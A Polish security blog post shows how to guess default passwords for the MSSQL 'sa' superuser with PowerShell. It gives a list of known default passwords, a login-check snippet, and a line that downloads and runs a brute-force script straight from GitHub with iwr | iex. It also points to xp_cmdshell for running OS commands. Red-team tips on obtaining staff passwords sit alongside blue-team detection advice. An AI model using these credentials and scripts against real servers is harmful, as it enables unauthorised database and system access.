Powershell spotyka Microsoft SQL Server - w poszukiwaniu haseł

17 lutego 2019, Autor: Paweł Maziarz, Kategoria red, tagi: , , , , ,

To co może o mnie wiecie to to, że jedną z moich ulubionych usług w organizacjach - w kontekście działań ofensywnych - jest MSSQL. Myślę, że hashtag #lowhangingfruits idealnie tu pasuje.

Dlaczego? Trzy powody:

  1. Sporo instalacji posiada domyślne lub łatwe hasła na użytkownika sa czyli superadmina, moje ulubione to puste hasło, “sa”, “reset2”, “Comarch!2011”, “password”,

  2. aplikacje WWW wykorzystujące MSSQL nierzadko działają z uprawnieniami sa / superadmina,

  3. kiedy uda nam się uzyskać dostęp do bazy danych jako superadmin (czy to poprzez słabe hasła czy choćby przez podatność typu SQL Injection), możemy uruchomić procedurę xp_cmdshell, która uruchomi nam polecenie w systemie operacyjnym z uprawnieniami użytkownika, z którego uruchomiona jest usługa MSSQL.

Zasadniczo, usługa MSSQL Server nasłuchuje na porcie TCP 1433 (chociaż należy sobie powiedzieć, że nie jest to regułą).

By sprawdzić, czy usługa MSSQL cierpi na problem słabego hasła możemy wykorzystać moduł Metasploita o nazwie mssql_login. Jeśli mamy jednak pod ręką Powershella, możemy to wykonać jeszcze szybciej.

Poniżej znajduje się kawałek kodu, który sprawdzi czy serwer MSSQL znajdujący się pod adresem 172.16.0.10 posiada hasło “Comarch!2011” na użytkownika sa czyli superadmina.

$_user = "sa"
$_pass = "Comaarch!2011"
$_host = "172.16.0.10"

$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass"
try {
    $Connection.Open()
    echo "[OK] $_user@$_host - $_pass" 
} catch [Exception] {
    echo "[ERR] $_user@$_host - $_pass" 
}

Jeśli faktycznie poświadczenia są poprawne, ujrzymy na terminalu:

[OK] sa@172.16.0.10 - Comarch!2011

Pięknie.

Hasła, wszędzie hasła

Skąd w ogóle wziąć natchnienie jakie hasła sprawdzać? Pamiętacie jak napisałem wyżej o moich ulubionych hasłach na użytkownika sa? Skąd je znam? Cóż, posłużę się tutaj starą zasadą mędrców i dam Wam wędkę, nie rybę - przyjrzyjcie się poniższym wynikom wyszukiwania, a wszystko stanie się jasne:

https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf.

No dobra, dla zabieganych, kilka ryb:

MSSQL1 MSSQL2 MSSQL3 MSSQL4 MSSQL5

Wracając do Powershella, gotowa do użycia w boju funkcja próbująca się zalogować do określonych serwerów MSSQL może wyglądać tak: Invoke-MSSQLBrute.ps1

By ją sprawdzić w akcji, wykorzystamy Dockera, który szybko pozwoli postawić nam serwer MSSQL. Dwa, w nieco różnych wersjach, jeden na porcie 1433 z hasłem Comarch!2011, drugi na porcie 1432 z hasłem P@ssw0rd.

root@juliet:/home/drg# docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=P@ssw0rd' -e 'MSSQL_PID=Express' -p 1432:1433  mcr.microsoft.com/mssql/server:2017-CU13
[...]
root@juliet:/home/drg/ubulab/mssql# docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=Comarch!2011' -e 'MSSQL_PID=Express' -p 1433:1433  mcr.microsoft.com/mssql/server:2017-CU13
[...]

I w takim środowisku możemy skonsumować przygotowany skrypt, najpierw importując go:

iwr https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/mssql/Invoke-MSSQLBrute.ps1 | iex
a następnie uruchamiając:
Invoke-MSSQLBrute -Hosts mssqlsrv1,"mssqlsrv2,1432" -Passwords "","sa","Comarch!2011","P@ssw0rd","kopytko" -Verbose 

W pierwszej linijce importujemy przygotowany skrypt z wykorzystaniem Invoke-WebRequest (w skrócie iwr) + Invoke-Expression (w skrócie iex) prosto z Githuba (więc jeśli w Waszych organizacjach Github jest zaufaną/whitelistowaną stroną - przepraszam) po to, by w drugiej linijce go wykorzystać z naszymi dwoma hostami i kilkoma względnie oczywistymi hasłami.

Wynik działania tego skryptu przedstawię na takim obrazku:

vscode

Niektórzy z Was mogą sobie pomyśleć WTF - uruchamianie i tworzenie skryptów Powershell na Mac OS X w Visual Studio Code (z emulacją Vim-a, swoją drogą)!? Tak, piekło zamarzło. Ale działa to wszystko świetnie i jest oficjalnie wspierane przez Microsoft.

Niezależnie od środowiska uruchomieniowego, skrypt spróbował kilku haseł dla użytkownika sa na dwóch hostach i w obu przypadakach mu się ostatecznie udało. Cool.

Co dalej? Mając poświadczenia uprzywilejowanego użytkownika (sa), możemy uruchomić dowolne polecenie w systemie operacyjnym - o tym w kolejnym wpisie, a tymczasem..

Odrobina niebieskiego

Myślę, że każdy członek zespołu niebieskiego ma już intuicję czego w tej materii potrzebuje. Potrzebuje mieć informacje o próbach logowania do Microsoft SQL Server, zwłaszcza tych nieudanych. Za nieudane próby logowania odpowiada zdarzenie o ID 18456, natomiast za udane 18454.

Jeśli mamy logowanie tych zdarzeń włączone, możemy w prosty sposób z pomocą Powershella je odnaleźć:

(Get-EventLog application | where { $_.EventID -eq 18456 })|Out-GridView

Dorzuciliśmy |Out-GridView, żeby mieć wyniki w nowym, wygodnym okienku z GUI:

mssql log 18456

Prawdopodobnie dobrze by było, żebyście od razu byli powiadamiani o takich zdarzeniach (choć to zależy od specyfiki Waszej organizacji), niezależnie od wszystkiego jest to też jeden z fajnych elementów wyjściowych do Threat Huntungu.

Red team vs Blue team

Red team
  • Odróbcie dobrze lekcje - podczas rekonesansu postarajcie się dowiedzieć jakiego organizacja używa oprogramowania, szkorzystajcie z Google i dokumentacji producentów, by odnaleźć domyślne hasła MSSQL.
  • Im mniej hałasu narobicie tym lepiej - poświęćcie jeszcze więcej czasu na rekonesans, by trafić hasłami w punkt.
  • Jeśli macie ulubione hasła departamentu IT, spróbujcie je również wykorzystać jako hasło użytkownika sa. Jeśli nie macie tych haseł - spróbujcie je zdobyć ;)
  • Zaplanujcie sobie chwilę czasu już teraz, by przygotować listę domyślnych haseł do przyszłych projektów - sprawdźcie jakich programów używa branża, z którą najczęściej macie do czynienia - przeczytajcie ich dokumentacje wdrożeniowe, zainstalujcie wersje próbne by sprawdzić jakie są domyślne hasła itd.
  • Niech na Waszej liście fantów do zdobycia będą kody źródłowe - często programiści zaszywają w nich poświadczenia do swoich lokalnych instancji MSSQL, instancji na środowiska dev, uat, preprod itp.
Blue team
  • Zróbcie listę oprogramowania korzystającego z MSSQL i sprawdźcie czy instalacje MSSQL nie mają łatwych/domyślnych haseł na użytkownika sa (lub innego z wysokimi uprawnieniami).
  • Zweryfikujcie czy instalacje serwerów MSSQL, które nasłuchują na interfejsach sieciowych muszą na nich nasłuchiwać - może wystarczy, że będą słuchały wyłącznie na localhost.
  • Tam, gdzie MSSQL musi nasłuchiwać na interfejsach sieciowych, pochylcie się nad regułami firewalla, by jak najbardziej ograniczyć liczbę hostów, które będą się mogły z usługą łączyć.
  • Proaktywnie lub chociaż raz na jakiś czas sprawdzajcie nieudane próby podłączenia do MSSQL - zdarzenia o ID 18456.

* * *

Jeśli chcesz poćwiczyć takie zagadnienia w praktyce, zapraszam na dwudniowe APT Masterclass. Jeśli generalnie uważasz ten wpis za pomocny, będzie mi miło jeśli podzielisz się nim na Facebooku, LinkedIn i Twitterze.